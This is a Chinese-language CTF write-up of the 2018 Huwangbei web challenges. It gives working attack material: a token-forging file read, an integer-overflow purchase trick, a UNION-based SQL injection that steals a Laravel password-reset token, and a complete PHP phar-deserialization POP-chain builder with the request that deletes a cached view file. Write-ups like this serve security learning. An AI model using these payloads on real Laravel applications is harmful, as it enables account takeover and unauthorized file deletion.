護網杯-web
實力證明還是我還是最菜的那個,總之沒寫出來什麼題,而且由於web題目都關了,復現也比較複雜,這裡我也就簡單記錄下思路,防止以後忘了也能看下,4uuu師傅出的 ez_laravel
給了docker映象,詳細分析和復現下,確實是一道好題,膜4uuu師傅。
ofollow,noindex">https://github.com/sco4x0/huwangbei2018_easy_laravel
想看wp的可以看
http://n3k0sec.top/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFwp/#WEB
https://xz.aliyun.com/t/2893#toc-15
http://www.venenof.com/index.php/archives/565/
https://www.anquanke.com/post/id/161849
最後,web狗只復現web(因為別的也看不懂。
ez_tornado
有個會進行驗證的檔案讀取
token=md5(serect_cookie+md5(filename))
然後在報錯頁面存在模板注入,過濾了相當多的的關鍵字,一開始往沙箱逃逸想去了,而且沒有怎麼接觸過tornado確實不怎麼熟。
最後,可以用 中獲取到
serect_cookie
的值
用這個值生成對應的 token
就可以任意檔案讀取獲得flag
ltshop
買辣條。一開始在尋找可以汙染的輸入點,發現就只有大辣條的數量接受了外部傳參,然後還是做了蠻多過濾的。
小辣條那裡本來的錢就只夠4個辣條,條件競爭,就可以買到4個以上的辣條,這樣,也只是夠買1個大辣條。
之後就到了不會的領域。雖然看出了是go語言寫的,但是無奈不會(web狗學不過來啊啊啊啊
這裡猜測資料型別為 uint64
,最大長度為 2^64-1
這裡由於是5包換一包,這樣只要我們買 (2^64)/5+1
的大辣條,在判斷數量的時候就會存在
num*5 < 1
這樣,我們就可以利用整數溢位,用5個辣條買到 (2^64)/5+1
的大辣條,也就足以買到flag
ez_web
看wp是fast_json的命令執行,無奈java也不咋會,先空著吧
ez_laravel
一開始在html中能看到給出了github地址,可以直接下載下原始碼
好吧,後面就真的菜了,首先沒接觸過 laravel
,其次 composer
也不咋瞭解,只知道是個包管理器。(還是不bb了直接說解法
先通過 composer install
可以下載回所有的依賴
然後審計原始碼可以發現,登入、註冊、找回密碼都是用的框架的模組,從而漏洞點應該不在這幾個邏輯中
在 note
的功能模組中,有個比較明顯的注入
public function index(Note $note) { $username = Auth::user()->name; $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'"); return view('note', compact('notes')); }
使用者密碼入庫前肯定是做了加鹽雜湊等操作,所以不太可能還原密碼
然後就是一個找回密碼的功能,找回密碼的時候會設定一個token值,只有當token值和發往使用者郵箱的token值一致才能重置密碼,這個token值是被存放在資料庫中的,但是按出題人的說法,也只有在 5.4
版本以明文的形式儲存
這也是使用 Laravel 5.4的原因,在高於5.4的版本中,重置密碼這個 token 會被 bcrypt 再存入,就和使用者密碼一樣
然後就可以申請重置管理密碼,然後得到token,(欄位名和表名在 migrations
的記錄裡可以看到的
asdf' union select 1,(select token from password_resets),3,4,5#
然後去訪問
http://192.168.85.144/password/reset/85a8a09e22819c0298ce4334b6dd357a1ec51ac10335575718f218ff93faddf5
就可以修改管理員的密碼
然後訪問 /flag
頁面的時候顯示的是沒有 no flag
,這是由於 laravel
的頁面模板快取機制導致的
提示給了 pop chain
就說明需要反序列化,可以看到
public function check(Request $request) { $path = $request->input('path', $this->path); $filename = $request->input('filename', null); if($filename){ if(!file_exists($path . $filename)){ Flash::error('磁碟檔案已刪除,重新整理檔案列表'); }else{ Flash::success('檔案有效'); } } return redirect(route('files')); }
可以看到 file_exists($path . $filename)
中檔名是全部可控的,這樣,就i可以利用 phar
進行反序列化,刪掉模板檔案,更新快取。恰巧還有個檔案上傳的點
然後就是尋找pop 鏈,自己寫的程式碼邏輯部分不是很多,但是可以利用 larvael
中的各種類
easy_laravel/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php:36
public function __destruct() { if (file_exists($this->getPath())) { @unlink($this->getPath()); } }
然後就是構造 phar
反序列化包
還有兩個點就是,檔案路徑和快取檔名是多少呢
檔案路徑的化可以通過admin的note中說預設配置猜測路徑為 /usr/share/nginx/html/
其次就是檔名,這個可以從原始碼中找到
public function getCompiledPath($path) { return $this->cachePath.'/'.sha1($path).'.php'; }
$path的值就是模板的位置,為 /usr/share/nginx/html/resources/views/auth/flag.blade.php
這樣,快取檔案的檔案具體路徑就是 /usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
就可以構造phar包
<?php abstract class Swift_ByteStream_AbstractFilterableInputStream { protected $_sequence = 0; private $_filters = array(); private $_writeBuffer = ''; private $_mirrors = array(); } class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream { private $_offset = 0; private $_path; private $_mode; private $_reader; private $_writer; private $_quotes = false; private $_seekable = null; public function __construct($path, $writable = false) { $this->_path = $path; $this->_mode = $writable ? 'w+b' : 'rb'; if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) { $this->_quotes = true; } } public function getPath() { return $this->_path; } } class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream { public function __construct() { $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php"; if ($filePath === false) { throw new Swift_IoException('Failed to retrieve temporary file name.'); } parent::__construct($filePath, true); } } unlink("1.phar"); $p = new Phar('./1.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->addFromString('1.txt','text'); $obj = new Swift_ByteStream_TemporaryFileByteStream(); $p->setMetadata($obj); $p->stopBuffering();
重新命名為 1.gif
上傳即可,然後點選 check
,抓包修改其中的引數
path=phar:///usr/share/nginx/html/storage/app/public&filename=%2F1.gif/1.txt&_token=onbNiZDmpgIkhUu3Uh2z8Xlsg3vlOBfCrJgCVgql
就可以看到flag
總結
最後,還記得打完N1ctf看一個老外的wp,有那麼一句話
easy is not easy
看來是
easy is never easy
題目還是不錯的,膜4uuu師傅,本web狗已涼